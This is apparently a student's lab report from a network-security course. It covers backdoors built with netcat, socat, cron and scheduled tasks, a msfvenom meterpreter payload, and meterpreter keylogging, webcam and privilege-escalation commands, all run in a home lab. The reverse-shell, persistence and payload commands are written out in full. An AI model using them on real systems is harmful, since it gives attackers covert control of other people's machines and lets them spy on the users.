20145302张薇《网络对抗技术》后门原理与实践

20145302张薇 《网络对抗技术》后门原理与实践

实验内容概述

  • 了解后门的基本原理,学习使用netcat、socat、meterpreter等工具,从而获取主机的操作权限等信息。

实验相关原理

  • 后门程序简称后门一般是指那些绕过安全性控制,通过非正常权限而获取对程序或系统访问权的程序。
  • 一般的操作系统管理者都会留有后门以便在关键时刻掌握用户的动态。
  • 常用的后门工具有:netcatMeterpreter
  • netcat是一个简单的底层工具,可以使用该工具连接两个或多个主机进行数据的发送与接收,类似于一个聊天工具,不过这些主机需要处在同一网段才可进行连接。通常攻击者会把nc与其他工具相结合,形成后门。
  • Meterpreter是一个可以通过调整不同需求,自动生成后门程序的平台。类似的平台还有intersectVeil-evasion
  • linux操作系统与Mac系统均自带nc,可在终端下使用man nc命令查看netcat的使用说明。
  • windows操作系统并不自带nc,需要使用该工具可以在网上从正规渠道下载netcat.exe等相关文件。
  • cron
    • cron是一个linux下的定时执行工具,可以在无需人工干预的情况下运行作业。
    • Cron是Linux的内置服务,并不自动启动,可以使用各种命令启动或关闭这个服务;
    • 启动服务:/sbin/service crond start
    • 关闭服务:/sbin/service crond stop
    • 重启服务:/sbin/service crond restart
    • 重新载入配置:/sbin/service crond reload
    • crontab -u //设定用户的cron服务,一般root用户在执行这个命令的时候需要此参数
    • crontab -l //列出用户cron服务的详细内容
    • crontab -r //删除用户的cron服务
    • crontab -e //编辑用户的cron服务

实践步骤

1.使用netcat获取主机操作Shell
(1)windows获取linux的shell

  • 实验环境准备。由于windows系统并不自带netcat,所以我们需要下载好该程序。

  • windows在cmd下使用ipconfig命令查看win的IP地址为10.43.33.60

  • linux在终端下使用ifconfig命令查看linux的IP地址为10.43.33.116

  • windows使用c:\你的nc的目录路径>ncat.exe -l -p 5302命令于5302端口进行监听。在此,我直接进入到nc的目录下运行的程序。

在使用nc的命令时,防火墙会询问主机是否可以访问,直接允许即可。

  • linux使用nc win的IP 5302 -e /bin/sh命令通过5302端口反弹连接windows主机

  • 随后,我们在windows主机下就获得了linux的shell,可以运行linux下的指令并获取linux主机的信息,如ls指令:

  • 值得注意的是,我们这里获得的是shell权限,并不是会话连接,发送消息只能让linux主机发现有人非法获取了自己的权限:

windows主机发送nihao

linux无法找到执行该命令
(2)linux获取windows的shell

  • 由于我换了一个wifi……所以windows与linux的IP地址都变了。
  • windows在cmd下使用ipconfig命令查看win的IP地址为172.30.2.75
  • linux在终端下使用ifconfig命令查看linux的IP地址为172.30.5.173

  • linux主机使用nc -l -p 5302命令于5302端口进行监听

  • windows主机使用 c:\你的nc文件目录路径>ncat.exe -e cmd.exe linux的IP 5302命令通过5302端口反弹连接linux主机

  • 随后,我们在linux主机下可以看到windows的命令提示:

(3)cron启动

  • 由于我又换了一个wifi连……所以……

  • win的IP:172.20.10.2

  • Linux的IP:172.20.10.4

  • 在linux终端下使用crontab -e命令修改用户的cron配置,出现下图:

  • 我们根据m h dom mon dow user command的格式来修改cron的启动时间

    • m代表分钟,可填数字范围:0-59
    • h代表小时,可填数字范围:0-23
    • dom代表日期,可填数字范围:1-31
    • mon代表月份,可填数字范围:1-12
    • dow代表星期,可填数字范围:0-6
    • user是连接的用户的IP地址
  • 与vi的用法一样,使用i键修改文件为* * * * * /bin/netcat 172.20.10.2 5302 -e /bin/sh,意在使linux每分钟自动运行指令,反弹至pc端的5302端口.退出插入模式后保存退出即可。

  • 随后,我们可以使用crontab -l查看cron修改后的内容:

  • 我们在windows主机下的5302端口进行监听,每分钟我们就可以获取一个shell

2.使用socat获取主机操作Shell, 任务计划启动
(1)以linux利用socat获取windows的shell为例

  • 在Linux的终端上使用socat - tcp:win的IP:5302命令监听5302端口

  • win在命令行下使用socat tcp-listen:5302 exec:cmd,pty,stderr命令在5302端口反弹连接Linux

  • 随即,Linux获得了win的shell

(2)任务计划启动

  • 进入我的电脑-计算机-管理-任务计划程序-创建任务
  • 根据自己的需求创建该任务计划

  • 很不幸,我试着改了各种参数以及命名方式等信息,但是依旧出现如下错误

对此,我上网寻求解决的方法,只能找到如下内容:

根本看不懂啊兄弟……很难受

  • 正常来说,Linux主机在5302端口监听,并且win触发了原定的程序,Linux应该可以获取win的shell,然而我这个任务怎样都建不成功……

  • 终于!嘻嘻,俺进入到任务计划程序库中,找到我所创建的任务,点击运行,在尝试了几轮操作之后成功了,妈哟,但是我并不知道上面的问题是如何解决的,也许是因为之前任务其实并未真正的运行起来导致一直失败。(是的,我又换了wifi,此时Linux的IP为192.168.199.109)

  • 我将任务的触发器设置为在任何用户登录时触发,将操作的启动程序设为ncat.exe,参数为:-e cmd.exe 192.168.199.109 5302

  • 随后Linux在5302端口监听,运行任务时即可使它获得Win的shell

  • 同理,如果你将操作的启动程序设为socat.exe时,你的参数应为tcp-listen:5302 exec:cmd,pty,stderr,Linux的监听指令也需要改变。

3.使用MSF meterpreter生成可执行文件,利用ncat传送文件到主机并运行获取主机Shell

  • 此时win的IP:172.20.10.2

  • Linux的IP:172.20.10.4

  • 在Linux下使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=35302 -f exe >fool3.exe命令生成一个名为fool3.exe的后门程序

  • 使用netcat将这个后门程序传送到Win主机

    • 首先我们在win的命令行下使用ncat.exe -lv 35302 > fool3.exe命令在250号端口进行监听
    • 随后在Linux下使用ncat -nv 172.20.10.2 35302 < fool3.exe命令把文件传送过去
    • 当然,win主机上的杀毒软件会将其删除,我们找回文件即可。

  • 开启MSF监听进程

    • msfconsole //进入msf
    • use exploit/multi/handler //进入handler模式
    • set payload windows/meterpreter/reverse_tcp //设置payload
    • show options //查看当前信息状态
    • set LHOST 172.20.10.4 //将LHOST设置为生成后门的那个LinuxIP地址
    • set LPORT 250 //设端口为那个35302
    • exploit //MSF开始监听

  • 在msf开启监听之后,在win下运行我们刚刚的后门程序fool3.exe,Linux就可以获得win的shell,进行远程控制了。

4.meterpreter信息提取与提权

  • sysinfo查看系统版本信息

  • screenshot直接对靶机屏幕截图

  • 键盘记录内容:keyscan_start命令开始捕捉键盘记录;keyscan_dump命令停止键盘记录的捕捉并显示出来键盘的记录

  • 在靶机安装一些系统服务

  • 开启靶机的摄像头

  • getsystem 为提权命令,可以获取私人权限,不过我这里win8不行啊

基础问题思考与回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 操作系统自身留有后门,方便自己的权限;
  • 攻击者恶意修改你的核心代码程序从而获取非法权限;
  • 我们访问反弹连接的网站,导致自己被他人非法获得权限。

例举你知道的后门如何启动起来(win及linux)的方式?

  • 反弹连接,被控机主动连接了主控机之后便会触发后门程序;
  • 在Linux中通过设置Corn,主机可以自动的触发连接请求;
  • 在windows中通过设置任务计划来达到该目的。

Meterpreter有哪些给你映像深刻的功能?

  • 获取键盘输入记录;
  • 控制摄像头;
  • 这两点都对于用户的隐私有着致命的威胁。

如何发现自己有系统有没有被安装后门?

  • 对于一般人来说,对于注册表信息很陌生,所以不容易在注册表中分析是否有恶意软件;
  • 当我们的主机出现一些莫名其妙的软件时,有可能是被植入了后门。

实验总结与感想

  • 虚拟网络是不安全的,恶意软件的非法权限大到令人毛骨悚然;
  • 首先,我们要注意保护好自己的隐私;
  • 其次,我们不要轻易的点击进入一些不明确的网络链接,减少我们被植入木马、后门的危险;
  • 另外,我们一定要积极的升级维护系统,即时打补丁,减少被侵入的几率。
posted @ 2017-03-13 22:58  20145302张薇  阅读(370)  评论(0编辑  收藏  举报